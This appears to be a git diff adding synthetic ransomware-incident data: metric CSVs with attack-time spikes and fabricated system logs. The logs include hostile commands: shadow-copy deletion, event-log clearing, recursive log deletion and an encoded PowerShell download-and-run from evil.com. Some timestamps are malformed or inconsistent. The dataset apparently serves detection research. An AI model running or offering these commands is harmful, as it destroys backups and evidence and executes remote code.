C:\Users\Admin\AppData\Local\Temp\payload.ps1 +Oct 22 09:30:40 vssadmin[6655]: Successfully deleted the shadow copies. +Oct 22 09:30:55 mssql-server[2101]: 2025-10-22 09:30:55.12 Server Error: 18456, Severity: 14, State: 38. +Oct 22 09:31:10 mssql-server[2101]: 2025-10-22 09:31:10.54 spid52 Error: 823, Severity: 24, State: 2. +Oct 22 09:31:25 iis[1877]: W3SVC1 DENIED GET /config/web.config - 403.14 +Oct 22 09:31:40 kernel: [8050.321] audit: type=1327 audit(1697978700.321:123): proctitle="/usr/sbin/mssql-server" msg='unit=mssql-server comm="apparmor" exe="/usr/sbin/mssql-server" sig=0 arch=c000003e syscall=257 compat=0 ip=0x7f... +Oct 22 09:31:55 iis[1877]: W3SVC1 SHUTDOWN +Oct 22 09:32:10 backup.exe[6700]: Could not find file 'C:\Program Files\Microsoft SQL Server\MSSQL15.MSSQLSERVER\MSSQL\DATA\analytics_db.mdf'. +Oct 22 09:32:25 systemd-logind[1033]: Removed session 4. +Oct 22 09:32:40 mssql-server[2101]: 2025-10-22 09:32:40.11 spid5s SQL Server must shut down in order to recover a database (database ID 1). +Oct 22 09:32:55 explorer.exe[6755]: Created file C:\Users\Admin\Desktop\README.txt \ No newline at end of file diff --git a/mali_dataset/scenario_3/mali_3_19.csv b/mali_dataset/scenario_3/mali_3_19.csv new file mode 100644 index 0000000000000000000000000000000000000000..42bcd6e691b24aa7980b98f9be585058a0e37a38 --- /dev/null +++ b/mali_dataset/scenario_3/mali_3_19.csv @@ -0,0 +1,51 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-11-03T11:50:00Z,18.54,51.23,62.34,1.54,2.12 +2025-11-03T11:50:05Z,21.32,54.87,71.43,1.32,1.98 +2025-11-03T11:50:10Z,19.87,52.98,65.87,1.48,2.05 +2025-11-03T11:50:15Z,23.12,56.21,75.32,1.21,1.87 +2025-11-03T11:50:20Z,20.43,53.87,68.98,1.41,2.01 +2025-11-03T11:50:25Z,18.99,51.99,63.12,1.52,2.10 +2025-11-03T11:50:30Z,99.43,95.87,4812.34,0.32,0.54 +2025-11-03T11:50:35Z,98.98,94.98,4754.87,0.35,0.58 +2025-11-03T11:50:40Z,99.87,96.54,4954.32,0.29,0.51 +2025-11-03T11:50:45Z,98.76,94.32,4699.12,0.38,0.61 +2025-11-03T11:50:50Z,99.92,97.01,5012.87,0.27,0.49 +2025-11-03T11:50:55Z,98.65,94.12,4654.65,0.40,0.63 +2025-11-03T11:51:00Z,99.81,96.87,4987.98,0.28,0.50 +2025-11-03T11:51:05Z,98.54,93.99,4601.43,0.42,0.65 +2025-11-03T11:51:10Z,99.95,97.21,5054.12,0.26,0.48 +2025-11-03T11:51:15Z,98.43,93.87,4587.87,0.43,0.66 +2025-11-03T11:51:20Z,99.88,96.99,5012.34,0.27,0.49 +2025-11-03T11:51:25Z,98.32,93.54,4554.12,0.45,0.68 +2025-11-03T11:51:30Z,99.91,97.12,5032.87,0.26,0.48 +2025-11-03T11:51:35Z,98.21,93.32,4532.65,0.47,0.70 +2025-11-03T11:51:40Z,99.99,97.32,5087.98,0.25,0.47 +2025-11-03T11:51:45Z,98.11,93.12,4501.43,0.48,0.71 +2025-11-03T11:51:50Z,99.96,97.21,5065.12,0.25,0.47 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+2025-11-03T11:53:30Z,13.12,35.98,25.43,0.16,0.31 +2025-11-03T11:53:35Z,8.65,29.12,16.54,0.09,0.21 +2025-11-03T11:53:40Z,14.21,36.54,28.76,0.18,0.34 +2025-11-03T11:53:45Z,10.98,32.87,20.12,0.12,0.25 +2025-11-03T11:53:50Z,15.32,37.87,31.43,0.20,0.37 +2025-11-03T11:53:55Z,11.87,33.98,22.87,0.14,0.28 +2025-11-03T11:54:00Z,16.43,38.98,34.12,0.22,0.40 +2025-11-03T11:54:05Z,12.54,34.54,24.54,0.15,0.30 \ No newline at end of file diff --git a/mali_dataset/scenario_3/mali_3_19.log b/mali_dataset/scenario_3/mali_3_19.log new file mode 100644 index 0000000000000000000000000000000000000000..c41d827dfeb6dede30982d16dae833fe4429aa06 --- /dev/null +++ b/mali_dataset/scenario_3/mali_3_19.log @@ -0,0 +1,13 @@ +Nov 03 11:50:10 sshd[7744]: Disconnected from authenticating user test 192.168.1.10 port 55432 [preauth] +Nov 03 11:50:25 systemd[1]: Starting Daily apt upgrade and clean activities. +Nov 03 11:50:30 svchost.exe[7760]: Suspicious process started from C:\Windows\Temp\update.exe. +Nov 03 11:50:40 vssadmin.exe[7765]: Shadow copy deletion completed successfully. +Nov 03 11:50:55 httpd[2345]: [core:error] [pid 2346] [client 192.168.1.2:12345] AH00126: Invalid URI in request GET / HTTP/1.1 +Nov 03 11:51:10 redis-server[1899]: [1899] 03 Nov 11:51:10.123 # Can't open the append-only file: Permission denied +Nov 03 11:51:25 httpd[2345]: [autoindex:error] [pid 2347] [client 192.168.1.2:12346] AH01276: Cannot serve directory /var/www/html/: No matching DirectoryIndex (index.html,index.php) found, and server-generated directory index forbidden by Options directive +Nov 03 11:51:40 kernel: [9030.123] audit: type=1400 apparmor="DENIED" operation="file_lock" profile="/usr/sbin/httpd" name="/var/www/html/uploads/document.pdf.encrypted" pid=2348 comm="httpd" +Nov 03 11:51:55 backup.sh[7800]: ERROR: Backup source /var/lib/redis/dump.rdb not found. +Nov 03 11:52:10 systemd-logind[1044]: Session 5 removed. +Nov 03 11:52:25 redis-server[1899]: [1899] 03 Nov 11:52:25.789 # Fatal error loading the DB: Invalid argument. Exiting. +Nov 03 11:52:40 httpd[2345]: [mpm_prefork:notice] [pid 2345] AH00169: caught SIGTERM, shutting down +Nov 03 11:52:55 explorer.exe[7855]: Created shortcut C:\Users\Public\Desktop\DECRYPT_ME.lnk. \ No newline at end of file diff --git a/mali_dataset/scenario_3/mali_3_2.csv b/mali_dataset/scenario_3/mali_3_2.csv new file mode 100644 index 0000000000000000000000000000000000000000..22486f87c25e9fdd405b20dd1bb19071dc1938c8 --- /dev/null +++ b/mali_dataset/scenario_3/mali_3_2.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-15T15:30:00Z,17.48,38.49,40.01,1.12,1.12 +2025-07-15T15:30:05Z,19.71,39.44,21.26,0.66,0.54 +2025-07-15T15:30:10Z,15.36,44.71,33.22,0.76,1.11 +2025-07-15T15:30:15Z,16.11,35.67,25.72,1.07,1.64 +2025-07-15T15:30:20Z,9.28,34.56,31.03,0.67,1.11 +2025-07-15T15:30:25Z,17.02,40.36,26.23,0.43,1.21 +2025-07-15T15:30:30Z,14.87,34.81,19.16,0.92,1.17 +2025-07-15T15:30:35Z,15.2,39.81,13.49,0.82,0.88 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+2025-07-15T15:37:05Z,13.6,44.62,38.55,0.75,1.42 +2025-07-15T15:37:10Z,10.88,33.72,28.92,0.86,1.24 +2025-07-15T15:37:15Z,16.75,45.95,33.05,1.07,1.08 +2025-07-15T15:37:20Z,15.67,40.73,37.68,0.76,0.22 +2025-07-15T15:37:25Z,10.81,48.91,33.2,0.49,1.43 diff --git a/mali_dataset/scenario_3/mali_3_2.log b/mali_dataset/scenario_3/mali_3_2.log new file mode 100644 index 0000000000000000000000000000000000000000..99ad96399a51ce23e056cd90ea1a17c96fc6c581 --- /dev/null +++ b/mali_dataset/scenario_3/mali_3_2.log @@ -0,0 +1,19 @@ +Jul 15 15:30:10 sshd[8832]: Accepted password for user admin from 10.1.1.10 port 54321 ssh2 +Jul 15 15:30:25 systemd[1]: Started Session 5 of user admin. +Jul 15 15:30:50 CRON[9011]: (root) CMD ( /usr/local/bin/backup.sh ) +Jul 15 15:31:15 kernel: [1123.456] TCP: request_sock_TCP: Possible SYN flooding on port 80. Dropping request. +Jul 15 15:31:40 webapp[1234]: INFO: User 'john.doe' successfully authenticated. +Jul 15 15:32:05 mysqld[1122]: INFO: Starting transaction for database 'production'. +Jul 15 15:32:30 systemd[1]: Started /usr/bin/security_update.sh. +Jul 15 15:32:40 security_update.sh[9876]: INFO: Initializing encryption sequence... +Jul 15 15:32:55 vssadmin[9880]: INFO: Successfully deleted all shadow copies. +Jul 15 15:33:10 webapp[1234]: ERROR: Failed to open file '/var/www/data/db_backup.sql': File not found. +Jul 15 15:33:45 mysqld[1122]: CRITICAL: Cannot access database file: /var/lib/mysql/prod/users.ibd. Encrypted? +Jul 15 15:34:10 webapp[1234]: ERROR: Invalid file format detected for /var/www/assets/logo.png. +Jul 15 15:34:20 kernel: [1301.998] audit: type=1400 apparmor="DENIED" operation="open" profile="/usr/sbin/mysqld" name="/var/lib/mysql/prod/orders.ibd.ENCRYPTED" +Jul 15 15:34:35 auditd[801]: USER_CMD pid=9876 uid=0 auid=1000 ses=5 msg='cmd=find / -type f -name "*.log" -exec rm -f {} \;' +Jul 15 15:35:00 systemd[1]: Service 'syslog' terminated unexpectedly. +Jul 15 15:35:25 security_update.sh[9876]: INFO: Encryption of /home/admin/documents complete. +Jul 15 15:36:30 security_update.sh[9876]: INFO: All files encrypted. Dropping ransom note. +Jul 15 15:36:40 kernel: [1455.123] audit: type=1325 op=create_file ppid=9876 pid=9999 file="/home/admin/documents/RECOVER_YOUR_FILES.txt" +Jul 15 15:37:05 sshd[8832]: Connection closed by 10.1.1.10 port 54321 diff --git a/mali_dataset/scenario_3/mali_3_20.csv b/mali_dataset/scenario_3/mali_3_20.csv new file mode 100644 index 0000000000000000000000000000000000000000..872c6d8afe03cfd24b0908ed88664b1857dc8482 --- /dev/null +++ b/mali_dataset/scenario_3/mali_3_20.csv @@ -0,0 +1,51 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-11-18T18:00:00Z,31.43,65.87,91.23,4.12,3.54 +2025-11-18T18:00:05Z,28.98,62.12,85.76,4.54,3.88 +2025-11-18T18:00:10Z,33.21,68.54,98.54,3.98,3.43 +2025-11-18T18:00:15Z,30.54,64.87,90.12,4.32,3.76 +2025-11-18T18:00:20Z,32.87,67.98,95.87,4.05,3.51 +2025-11-18T18:00:25Z,29.87,63.54,88.98,4.45,3.81 +2025-11-18T18:00:30Z,99.98,98.12,5102.34,0.98,1.21 +2025-11-18T18:00:35Z,99.21,97.54,4988.12,1.02,1.28 +2025-11-18T18:00:40Z,99.99,98.87,5254.87,0.95,1.19 +2025-11-18T18:00:45Z,98.98,96.87,4899.54,1.05,1.31 +2025-11-18T18:00:50Z,99.96,98.99,5311.21,0.93,1.17 +2025-11-18T18:00:55Z,98.87,96.54,4854.12,1.08,1.35 +2025-11-18T18:01:00Z,99.92,98.54,5287.65,0.96,1.20 +2025-11-18T18:01:05Z,98.76,96.32,4801.98,1.11,1.38 +2025-11-18T18:01:10Z,99.99,99.12,5401.54,0.92,1.15 +2025-11-18T18:01:15Z,98.65,96.12,4788.12,1.13,1.41 +2025-11-18T18:01:20Z,99.97,99.01,5387.98,0.94,1.18 +2025-11-18T18:01:25Z,98.54,95.99,4754.65,1.15,1.43 +2025-11-18T18:01:30Z,99.94,98.87,5321.12,0.95,1.19 +2025-11-18T18:01:35Z,98.43,95.87,4732.98,1.17,1.45 +2025-11-18T18:01:40Z,99.99,99.21,5412.54,0.91,1.14 +2025-11-18T18:01:45Z,98.32,95.54,4701.43,1.19,1.48 +2025-11-18T18:01:50Z,99.98,99.11,5399.87,0.93,1.16 +2025-11-18T18:01:55Z,98.21,95.32,4687.65,1.21,1.51 +2025-11-18T18:02:00Z,99.95,98.98,5354.12,0.94,1.18 +2025-11-18T18:02:05Z,98.11,95.12,4654.98,1.23,1.53 +2025-11-18T18:02:10Z,99.99,99.32,5421.87,0.90,1.13 +2025-11-18T18:02:15Z,98.01,94.99,4632.54,1.25,1.55 +2025-11-18T18:02:20Z,99.96,99.01,5387.12,0.93,1.16 +2025-11-18T18:02:25Z,98.12,95.21,4665.98,1.24,1.54 +2025-11-18T18:02:30Z,99.98,99.21,5401.43,0.91,1.14 +2025-11-18T18:02:35Z,98.21,95.32,4687.12,1.23,1.53 +2025-11-18T18:02:40Z,99.95,98.99,5365.87,0.93,1.16 +2-11-18T18:02:45Z,98.32,95.54,4712.54,1.21,1.51 +2025-11-18T18:02:50Z,99.99,99.43,5432.98,0.89,1.12 +2025-11-18T18:02:55Z,98.43,95.65,4732.11,1.20,1.50 +2025-11-18T18:03:00Z,20.43,41.87,35.43,0.34,0.45 +2025-11-18T18:03:05Z,18.87,38.43,31.87,0.29,0.39 +2025-11-18T18:03:10Z,22.98,45.76,42.12,0.38,0.48 +2025-11-18T18:03:15Z,19.76,40.98,38.54,0.32,0.42 +2025-11-18T18:03:20Z,21.54,43.21,40.87,0.35,0.46 +2025-11-18T18:03:25Z,18.98,39.12,34.21,0.28,0.38 +2025-11-18T18:03:30Z,23.87,46.99,45.43,0.41,0.51 +2025-11-18T18:03:35Z,20.98,42.54,40.87,0.33,0.43 +2025-11-18T18:03:40Z,24.54,48.12,48.76,0.43,0.54 +2025-11-18T18:03:45Z,21.87,44.98,43.21,0.36,0.47 +2025-11-18T18:03:50Z,25.32,49.87,51.43,0.45,0.57 +2025-11-18T18:03:55Z,22.98,46.54,46.87,0.39,0.50 +2025-11-18T18:04:00Z,26.43,50.98,54.12,0.48,0.60 +2025-11-18T18:04:05Z,23.54,47.54,48.54,0.40,0.52 \ No newline at end of file diff --git a/mali_dataset/scenario_3/mali_3_20.log b/mali_dataset/scenario_3/mali_3_20.log new file mode 100644 index 0000000000000000000000000000000000000000..b380795e611d576c8012df5cce9ead8854ad8203 --- /dev/null +++ b/mali_dataset/scenario_3/mali_3_20.log @@ -0,0 +1,13 @@ +Nov 18 18:00:10 sshd[8844]: PAM 2 more authentication failures; logname= uid=0 euid=0 tty=ssh ruser= rhost=203.0.113.10 user=root +Nov 18 18:00:25 systemd[1]: Started Clean php session files. +Nov 18 18:00:30 cmd.exe[8860]: C:\Windows\System32\cmd.exe /c "powershell -enc aW52b2tlLWV4cHJlc3Npb24gKG5ldy1vYmplY3QgbmV0LndlYmNsaWVudCkuZG93bmxvYWRzdHJpbmcoJ2h0dHA6Ly9ldmlsLmNvbS9wYXlsb2FkJyk=" +Nov 18 18:00:45 wevtutil.exe[8870]: "wevtutil.exe" cl System +Nov 18 18:01:00 tomcat[2567]: SEVERE [main] org.apache.catalina.core.StandardContext.startInternal One or more listeners failed to start. Full details will be found in the appropriate container log file +Nov 18 18:01:15 tomcat[2567]: java.io.FileNotFoundException: /opt/tomcat/conf/server.xml (No such file or directory) +Nov 18 18:01:30 kernel: [10050.987] audit: type=1400 apparmor="DENIED" operation="open" profile="/usr/sbin/tomcat9" name="/opt/tomcat/work/Catalina/localhost/app.war.locked" pid=2568 comm="java" +Nov 18 18:01:45 backup.sh[8900]: ERROR: Failed to dump postgresql database 'proddb'. +Nov 18 18:02:00 tomcat[2567]: INFO [main] org.apache.coyote.AbstractProtocol.pause Pausing ProtocolHandler ["http-nio-8080"] +Nov 18 18:02:15 postgres[2455]: 2025-11-18 18:02:15.123 UTC [8911] ERROR: could not open file "base/16384/2671": No such file or directory +Nov 18 18:02:30 systemd-logind[1055]: Session 6 of user devadmin logged out. +Nov 18 18:02:45 tomcat[2567]: INFO [main] org.apache.catalina.core.StandardService.stopInternal Stopping service [Catalina] +Nov 18 18:03:00 explorer.exe[8955]: Created file C:\Users\devadmin\Documents\RECOVER_YOUR_FILES.html. \ No newline at end of file diff --git a/mali_dataset/scenario_3/mali_3_21.csv b/mali_dataset/scenario_3/mali_3_21.csv new file mode 100644 index 0000000000000000000000000000000000000000..68b24abb20236052bcb56b41b51b5119dc09a761 --- /dev/null +++ b/mali_dataset/scenario_3/mali_3_21.csv @@ -0,0 +1,51 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-12-02T03:10:00Z,14.87,43.21,40.12,0.98,1.32 +2025-12-02T03:10:05Z,17.21,46.87,48.54,0.87,1.21 +2025-12-02T03:10:10Z,16.54,45.98,44.87,0.92,1.28 +2025-12-02T03:10:15Z,18.32,48.21,52.32,0.81,1.17 +2025-12-02T03:10:20Z,15.98,44.87,42.98,0.95,1.30 +2025-12-02T03:10:25Z,99.01,93.87,3899.12,0.32,0.54 +2025-12-02T03:10:30Z,98.87,92.98,3854.65,0.35,0.58 +2025-12-02T03:10:35Z,99.54,94.54,3987.98,0.29,0.51 +2025-12-02T03:10:40Z,98.65,92.32,3799.43,0.38,0.61 +2025-12-02T03:10:45Z,99.87,95.01,4101.87,0.27,0.49 +2025-12-02T03:10:50Z,98.43,92.12,3754.12,0.40,0.63 +2025-12-02T03:10:55Z,99.65,94.87,4054.65,0.28,0.50 +2025-12-02T03:11:00Z,98.21,91.87,3701.98,0.42,0.65 +2025-12-02T03:11:05Z,99.78,95.21,4121.34,0.26,0.48 +2025-12-02T03:11:10Z,98.11,91.99,3688.54,0.43,0.66 +2025-12-02T03:11:15Z,99.85,95.32,4154.87,0.25,0.47 +2025-12-02T03:11:20Z,98.32,92.01,3712.32,0.42,0.65 +2025-12-02T03:11:25Z,99.92,95.54,4187.98,0.24,0.46 +2025-12-02T03:11:30Z,98.54,92.54,3801.12,0.39,0.62 +2025-12-02T03:11:35Z,99.81,95.12,4143.65,0.26,0.48 +2025-12-02T03:11:40Z,98.45,92.32,3788.98,0.40,0.63 +2025-12-02T03:11:45Z,99.75,94.99,4099.43,0.28,0.50 +2025-12-02T03:11:50Z,98.67,92.87,3854.12,0.38,0.61 +2025-12-02T03:11:55Z,99.98,95.87,4211.87,0.23,0.45 +2025-12-02T03:12:00Z,98.76,93.01,3887.65,0.37,0.60 +2025-12-02T03:12:05Z,99.88,95.43,4187.12,0.25,0.47 +2025-12-02T03:12:10Z,98.55,92.65,3821.98,0.39,0.62 +2025-12-02T03:12:15Z,99.92,95.65,4201.54,0.24,0.46 +2025-12-02T03:12:20Z,98.65,92.87,3843.12,0.38,0.61 +2025-12-02T03:12:25Z,99.85,95.32,4165.87,0.26,0.48 +2025-12-02T03:12:30Z,98.43,92.21,3799.43,0.40,0.63 +2025-12-02T03:12:35Z,99.78,95.12,4132.11,0.27,0.49 +2025-12-02T03:12:40Z,98.32,92.11,3777.87,0.41,0.64 +2025-12-02T03:12:45Z,99.91,95.43,4199.65,0.24,0.46 +2025-12-02T03:12:50Z,98.54,92.54,3812.98,0.39,0.62 +2025-12-02T03:12:55Z,99.82,95.21,4154.32,0.26,0.48 +2025-12-02T03:13:00Z,9.87,30.12,18.54,0.12,0.25 +2025-12-02T03:13:05Z,7.54,28.87,15.87,0.09,0.21 +2025-12-02T03:13:10Z,10.21,32.54,21.32,0.15,0.28 +2025-12-02T03:13:15Z,6.87,27.54,14.54,0.08,0.19 +2025-12-02T03:13:20Z,11.32,33.87,23.87,0.16,0.31 +2025-12-02T03:13:25Z,8.54,29.98,17.87,0.10,0.23 +2025-12-02T03:13:30Z,12.12,34.98,25.43,0.18,0.34 +2025-12-02T03:13:35Z,7.65,28.12,16.54,0.09,0.22 +2025-12-02T03:13:40Z,13.21,35.54,28.76,0.20,0.37 +2025-12-02T03:13:45Z,9.98,31.87,20.12,0.13,0.26 +2025-12-02T03:13:50Z,14.32,36.87,31.43,0.22,0.40 +2025-12-02T03:13:55Z,10.87,32.98,22.87,0.15,0.29 +2025-12-02T03:14:00Z,15.43,37.98,34.12,0.24,0.43 +2025-12-02T03:14:05Z,11.54,33.54,24.54,0.16,0.32 \ No newline at end of file diff --git a/mali_dataset/scenario_3/mali_3_21.log b/mali_dataset/scenario_3/mali_3_21.log new file mode 100644 index 0000000000000000000000000000000000000000..40a2711281df933438bb7041982ab8c51bf7c452 --- /dev/null +++ b/mali_dataset/scenario_3/mali_3_21.log @@ -0,0 +1,13 @@ +Dec 02 03:10:10 sshd[9955]: Address 192.168.2.2 maps to unknown, but this name was matched by a reverse DNS query. +Dec 02 03:10:20 CRON[9966]: (root) CMD ( /usr/lib/i386-linux-gnu/lightdm/lightdm-guest-session-wrapper) +Dec 02 03:10:25 kernel: [11020.321] update.bin[9980]: Unhandled page fault for instruction fetch +Dec 02 03:10:35 vssadmin[9985]: Running command: vssadmin delete shadows /all /quiet +Dec 02 03:10:50 nginx[3322]: 2025/12/02 03:10:50 [error] 3323#3323: *1 open() "/usr/share/nginx/html/data/customers.csv" failed (2: No such file or directory) +Dec 02 03:11:05 php-fpm[3311]: [02-Dec-2025 03:11:05] WARNING: [pool www] child 3312 said into stderr: "NOTICE: PHP message: PHP Warning: file_get_contents(./config/settings.ini): failed to open stream: No such file or directory in /var/www/app/include/config.php on line 12" +Dec 02 11:11:20 nginx[3322]: 2025/12/02 03:11:20 [error] 3323#3323: *3 FastCGI sent in stderr: "PHP message: PHP Fatal error: Uncaught Error: Call to a member function query() on bool in /var/www/app/include/db.php:25" while reading response header from upstream +Dec 02 11:11:35 kernel: [11035.789] audit: type=1400 apparmor="DENIED" operation="rename_dest" profile="/usr/sbin/nginx" name="/var/www/html/assets/img/logo.png.crypted" +Dec 02 11:11:50 backup.sh[10010]: ERROR: pg_dump failed. +Dec 02 11:12:05 systemd[1]: session-c2.scope: Succeeded. +Dec 02 11:12:20 php-fpm[3311]: [02-Dec-2025 03:12:20] NOTICE: fpm is shutting down +Dec 02 11:12:35 nginx[3322]: 2025/12/02 03:12:35 [alert] 3322#3322: signal 17 (SIGCHLD) received from 3323 +Dec 02 11:12:50 systemd[1]: Created file /var/www/html/_RECOVER_FILES_.txt. \ No newline at end of file diff --git a/mali_dataset/scenario_3/mali_3_22.csv b/mali_dataset/scenario_3/mali_3_22.csv new file mode 100644 index 0000000000000000000000000000000000000000..9fa81428436c2c5c70ae9e08048ddaff72b662f2 --- /dev/null +++ b/mali_dataset/scenario_3/mali_3_22.csv @@ -0,0 +1,71 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-15T16:30:00Z,16.50,47.33,38.46,1.25,1.43 +2025-07-15T16:30:05Z,22.00,54.97,31.51,1.39,1.37 +2025-07-15T16:30:10Z,12.76,51.70,22.95,1.39,1.00 +2025-07-15T16:30:15Z,14.78,51.05,30.09,1.04,1.88 +2025-07-15T16:30:20Z,15.45,48.94,40.90,0.75,0.86 +2025-07-15T16:30:25Z,10.51,50.37,33.25,1.48,1.77 +2025-07-15T16:30:30Z,14.40,44.86,57.61,0.55,1.50 +2025-07-15T16:30:35Z,23.33,40.16,35.08,0.89,1.96 +2025-07-15T16:30:40Z,18.06,44.15,36.56,1.45,1.92 +2025-07-15T16:30:45Z,18.88,43.21,29.98,0.92,1.30 +2025-07-15T16:30:50Z,22.25,52.33,37.16,0.68,0.85 +2025-07-15T16:30:55Z,18.33,43.14,24.32,1.29,1.28 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newline at end of file diff --git a/mali_dataset/scenario_3/mali_3_22.log b/mali_dataset/scenario_3/mali_3_22.log new file mode 100644 index 0000000000000000000000000000000000000000..66b333ce692a37473e8de6eecc28e673a36eff24 --- /dev/null +++ b/mali_dataset/scenario_3/mali_3_22.log @@ -0,0 +1,19 @@ +Jul 15 16:30:15 sshd[8832]: Accepted password for user admin from 10.1.1.10 port 54321 ssh2 +Jul 15 16:30:30 systemd[1]: Started Session 5 of user admin. +Jul 15 16:30:50 CRON[9011]: (root) CMD ( /usr/local/bin/backup.sh ) +Jul 15 16:31:15 kernel: [1123.456] TCP: request_sock_TCP: Possible SYN flooding on port 80. Dropping request. +Jul 15 16:31:40 webapp[1234]: INFO: User 'john.doe' successfully authenticated. +Jul 15 16:32:05 mysqld[1122]: INFO: Starting transaction for database 'production'. +Jul 15 16:32:30 systemd[1]: Started /usr/bin/security_update.sh. +Jul 15 16:32:40 security_update.sh[9876]: INFO: Initializing encryption sequence... +Jul 15 16:32:55 vssadmin[9880]: INFO: Successfully deleted all shadow copies. +Jul 15 16:33:20 webapp[1234]: ERROR: Failed to open file '/var/www/data/db_backup.sql': File not found. +Jul 15 16:33:45 mysqld[1122]: CRITICAL: Cannot access database file: /var/lib/mysql/prod/users.ibd. Encrypted? +Jul 15 16:34:35 webapp[1234]: ERROR: Invalid file format detected for /var/www/assets/logo.png. +Jul 15 16:35:00 kernel: [1301.998] audit: type=1400 apparmor="DENIED" operation="open" profile="/usr/sbin/mysqld" name="/var/lib/mysql/prod/orders.ibd.ENCRYPTED" pid=1122 comm="mysqld" +Jul 15 16:35:25 CRON[9980]: (root) CMD ( rm -f /tmp/q* ) +Jul 15 16:35:50 webapp[1234]: ERROR: Application failed to start: required configuration file /etc/webapp/config.xml is corrupted. +Jul 15 16:36:20 systemd[1]: session-5.scope: Succeeded. +Jul 15 16:36:40 backup.sh[10101]: ERROR: Backup source /var/lib/mysql not found or unreadable. +Jul 15 16:37:05 kernel: [1450.112] Out of memory: Kill process 1234 (webapp) score 98 or sacrifice child +Jul 15 16:37:20 systemd[1]: Created file /root/READ_ME_FOR_DECRYPTION.txt. \ No newline at end of file diff --git a/mali_dataset/scenario_3/mali_3_23.csv b/mali_dataset/scenario_3/mali_3_23.csv new file mode 100644 index 0000000000000000000000000000000000000000..774193b455a0ae1550c202111549e72a4fae0bd4 --- /dev/null +++ b/mali_dataset/scenario_3/mali_3_23.csv @@ -0,0 +1,87 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-15T14:30:00Z,13.76,51.99,34.15,0.44,1.31 +2025-07-15T14:30:05Z,15.0,40.57,21.36,0.75,1.52 +2025-07-15T14:30:10Z,11.12,33.08,36.97,0.73,1.15 +2025-07-15T14:30:15Z,14.6,39.81,17.25,0.94,0.66 +2025-07-15T14:30:20Z,18.13,33.03,31.12,0.77,0.82 +2025-07-15T14:30:25Z,12.81,30.98,37.04,0.73,0.86 +2025-07-15T14:30:30Z,15.45,40.08,31.43,0.34,0.88 +2025-07-15T14:30:35Z,17.39,42.5,45.88,0.69,0.7 +2025-07-15T14:30:40Z,13.11,38.83,23.33,0.4,1.07 +2025-07-15T14:30:45Z,16.27,33.91,19.99,0.59,1.17 +2025-07-15T14:30:50Z,14.88,42.06,41.2,0.89,0.52 +2025-07-15T14:30:55Z,19.23,37.19,25.61,0.77,0.83 +2025-07-15T14:31:00Z,15.54,43.21,43.5,0.31,1.47 +2025-07-15T14:31:05Z,17.6,33.51,15.48,0.78,1.35 +2025-07-15T14:31:10Z,13.9,38.4,28.52,0.83,1.21 +2025-07-15T14:31:15Z,18.89,44.75,44.83,0.5,0.71 +2025-07-15T14:31:20Z,12.59,38.2,21.75,0.53,0.65 +2025-07-15T14:31:25Z,16.48,31.02,34.87,0.94,0.94 +2025-07-15T14:31:30Z,19.01,36.56,23.7,0.62,1.33 +2025-07-15T14:31:35Z,14.22,41.9,46.12,0.59,0.83 +2025-07-15T14:31:40Z,15.8,40.2,27.5,0.4,0.79 +2025-07-15T14:31:45Z,17.4,34.6,18.9,0.9,0.6 +2025-07-15T14:31:50Z,13.2,39.8,33.4,0.7,1.1 +2025-07-15T14:31:55Z,18.5,45.1,49.2,0.6,0.9 +2025-07-15T14:32:00Z,14.1,42.3,25.6,0.8,1.4 +2025-07-15T14:32:05Z,19.9,35.8,22.1,0.5,0.8 +2025-07-15T14:32:10Z,15.3,43.1,38.7,0.9,1.0 +2025-07-15T14:32:15Z,17.8,36.5,29.9,0.4,1.2 +2025-07-15T14:32:20Z,20.1,45.9,48.3,0.7,0.7 +2025-07-15T14:32:25Z,18.4,41.2,31.5,0.8,0.9 +2025-07-15T14:32:30Z,98.55,85.17,2539.17,0.15,0.28 +2025-07-15T14:32:35Z,99.38,93.63,3218.36,0.14,0.31 +2025-07-15T14:32:40Z,97.05,91.82,2951.27,0.19,0.24 +2025-07-15T14:32:45Z,98.25,89.29,3175.65,0.2,0.37 +2025-07-15T14:32:50Z,99.55,94.28,2884.25,0.12,0.23 +2025-07-15T14:32:55Z,96.51,88.08,3354.34,0.15,0.24 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+2025-07-15T14:34:35Z,98.58,92.33,2977.45,0.19,0.31 +2025-07-15T14:34:40Z,97.74,90.67,3132.88,0.12,0.39 +2025-07-15T14:34:45Z,99.27,93.45,3302.6,0.22,0.26 +2025-07-15T14:34:50Z,98.11,91.81,2881.93,0.16,0.35 +2025-07-15T14:34:55Z,97.88,90.04,3045.75,0.14,0.3 +2025-07-15T14:35:00Z,99.53,94.31,3256.19,0.18,0.27 +2025-07-15T14:35:05Z,98.22,92.77,2910.3,0.13,0.38 +2025-07-15T14:35:10Z,97.69,89.43,3158.59,0.2,0.23 +2025-07-15T14:35:15Z,99.36,93.98,3373.12,0.15,0.34 +2025-07-15T14:35:20Z,98.04,91.13,2849.66,0.19,0.3 +2025-07-15T14:35:25Z,97.95,90.88,3001.48,0.12,0.36 +2025-07-15T14:35:30Z,99.08,94.55,3215.7,0.23,0.29 +2025-07-15T14:35:35Z,98.67,92.21,2955.8,0.17,0.31 +2025-07-15T14:35:40Z,97.53,89.65,3109.22,0.14,0.38 +2025-07-15T14:35:45Z,99.42,93.07,3321.94,0.2,0.25 +2025-07-15T14:35:50Z,98.31,91.4,2870.51,0.16,0.33 +2025-07-15T14:35:55Z,97.8,90.29,3088.67,0.13,0.28 +2025-07-15T14:36:00Z,99.2,94.18,3289.03,0.19,0.32 +2025-07-15T14:36:05Z,98.49,92.68,2933.15,0.15,0.37 +2025-07-15T14:36:10Z,97.77,89.92,3177.37,0.18,0.26 +2025-07-15T14:36:15Z,75.32,88.12,452.89,0.13,0.22 +2025-07-15T14:36:20Z,68.91,85.43,513.42,0.15,0.28 +2025-07-15T14:36:25Z,71.43,89.31,398.77,0.11,0.24 +2025-07-15T14:36:30Z,59.88,82.05,276.54,0.16,0.31 +2025-07-15T14:36:35Z,65.11,86.66,488.1,0.12,0.26 +2025-07-15T14:36:40Z,55.23,80.19,311.9,0.14,0.29 +2025-07-15T14:36:45Z,48.76,78.92,254.33,0.1,0.21 +2025-07-15T14:36:50Z,53.94,81.58,350.67,0.15,0.25 